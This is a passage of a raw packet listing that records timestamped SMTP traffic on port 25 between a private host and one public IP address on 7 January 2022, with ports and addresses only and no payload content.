Jan 7, 2022 15:44:45.662553072 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662578106 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662594080 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662606001 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662632942 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662632942 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662678003 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662683010 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662710905 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662712097 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662738085 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662760973 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662789106 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662790060 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662823915 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662832975 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662861109 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662863016 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662887096 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662893057 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662914038 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662934065 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662941933 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662970066 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.662971973 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.662997961 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.663013935 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.663024902 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.663044930 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.663052082 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.663091898 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.663134098 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.696126938 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.696151972 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.696162939 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.696177959 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.696192026 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.696207047 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.696222067 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.696234941 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.696315050 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.696333885 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.703361034 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.703392029 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.703402042 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.703418016 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.703437090 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.703526020 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.703541994 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.706742048 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.706762075 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.707638025 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.707659960 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.707669020 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.707715988 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.707859039 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.707978964 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.708020926 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.708127975 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.708223104 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.708240032 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.708251953 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.710050106 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.710067987 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.710114002 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.710133076 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.710167885 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.710200071 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.710247040 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.710297108 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.710302114 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.710335016 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.710360050 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.710361958 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.710383892 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.710416079 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.710777044 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.710838079 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.710942030 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.710999012 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.711021900 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.711054087 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.711076975 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.711083889 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.711113930 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.711142063 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.711452961 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.711488008 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.711509943 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.711545944 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.711663961 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.711736917 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.711770058 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.711833000 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.712184906 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.712222099 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.712253094 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.712270975 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.712274075 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.712327957 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.712402105 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.712475061 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.712551117 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.712583065 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.712613106 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.712651014 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.712685108 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.712754011 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.712757111 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.712822914 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.713248968 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.713269949 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.713304996 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.713319063 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.713330030 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.713363886 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.743645906 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.743683100 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.743697882 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.743721962 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.743988991 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.755095959 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.755137920 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.755161047 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.755189896 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.755204916 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.755219936 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.755233049 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.755248070 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.755285978 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.755350113 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.755367041 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.755448103 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.755497932 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.756464005 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.756488085 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.756568909 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.756654978 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.756671906 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.756741047 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.756917000 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.756942034 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.757103920 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.757220030 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.757513046 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.757586956 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.757607937 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.757627010 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.757642984 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.757661104 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.757678986 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.757750988 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.757828951 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.757846117 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.757939100 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.757972002 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.758110046 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.758127928 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.758188009 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.758296967 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.758347034 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.758769035 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.758804083 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.758826017 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.758848906 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.758872986 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.758893013 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.758914948 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.758934975 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.758955956 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759051085 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759104013 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759181023 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759197950 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759260893 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759340048 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759463072 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759481907 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759545088 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759566069 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759584904 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759644985 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759710073 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759730101 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759826899 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759846926 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759902000 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.759984016 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.760005951 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.760066032 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.760098934 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.760102034 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.760123968 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.760200977 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.760242939 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.760257006 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.760267019 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.760273933 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.760294914 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.760324001 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.761266947 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.761293888 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.761316061 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.761337042 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.761346102 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.761394978 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.761399031 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.761425018 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.761429071 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.761445999 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.761461020 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.761466026 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.761487007 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.761492014 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.761508942 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.761514902 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.761523008 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.761532068 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.761545897 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.761552095 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.761571884 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.761571884 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.761584997 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.761646986 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.761681080 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.761740923 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.761831999 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.763319969 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.806514025 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.806585073 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.806616068 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.806617975 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.806638002 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.806652069 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.806669950 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.806684971 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.806720018 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.806859970 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.806893110 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.806938887 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.806978941 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807020903 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807049990 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807090998 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807132006 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807173014 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807193041 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807214022 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807281971 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807305098 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807329893 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807351112 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807375908 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807377100 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807394028 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807421923 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807436943 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807480097 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807491064 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807605028 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807646036 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807660103 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807701111 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807729959 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807776928 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807828903 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807914019 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807923079 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807959080 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807961941 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.807975054 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.807991028 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808007002 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808022022 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808064938 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808104992 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808188915 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808279991 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808317900 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808360100 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808423996 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808463097 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808549881 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808588982 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808676958 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808718920 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808800936 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808816910 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.808944941 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.809159040 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.809220076 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.809257984 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.809384108 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.809619904 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.809636116 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.809715033 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.809878111 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.809951067 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.810197115 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.810211897 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.810333967 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.810513973 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.810594082 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.810676098 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.810827971 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.810982943 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.811000109 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.811557055 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.812127113 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.853856087 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.853883028 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.853899956 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.853915930 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.853929996 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854126930 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854180098 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854195118 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854207993 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854242086 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854294062 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854451895 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854480982 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854554892 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854588032 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854654074 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854686022 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854778051 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854804993 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854885101 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.854924917 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.855048895 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.855072021 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.855087996 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.855179071 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.855387926 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.855674982 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.855783939 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.855815887 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.902287960 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.906631947 CET	25	49996	185.175.124.58	192.168.2.6
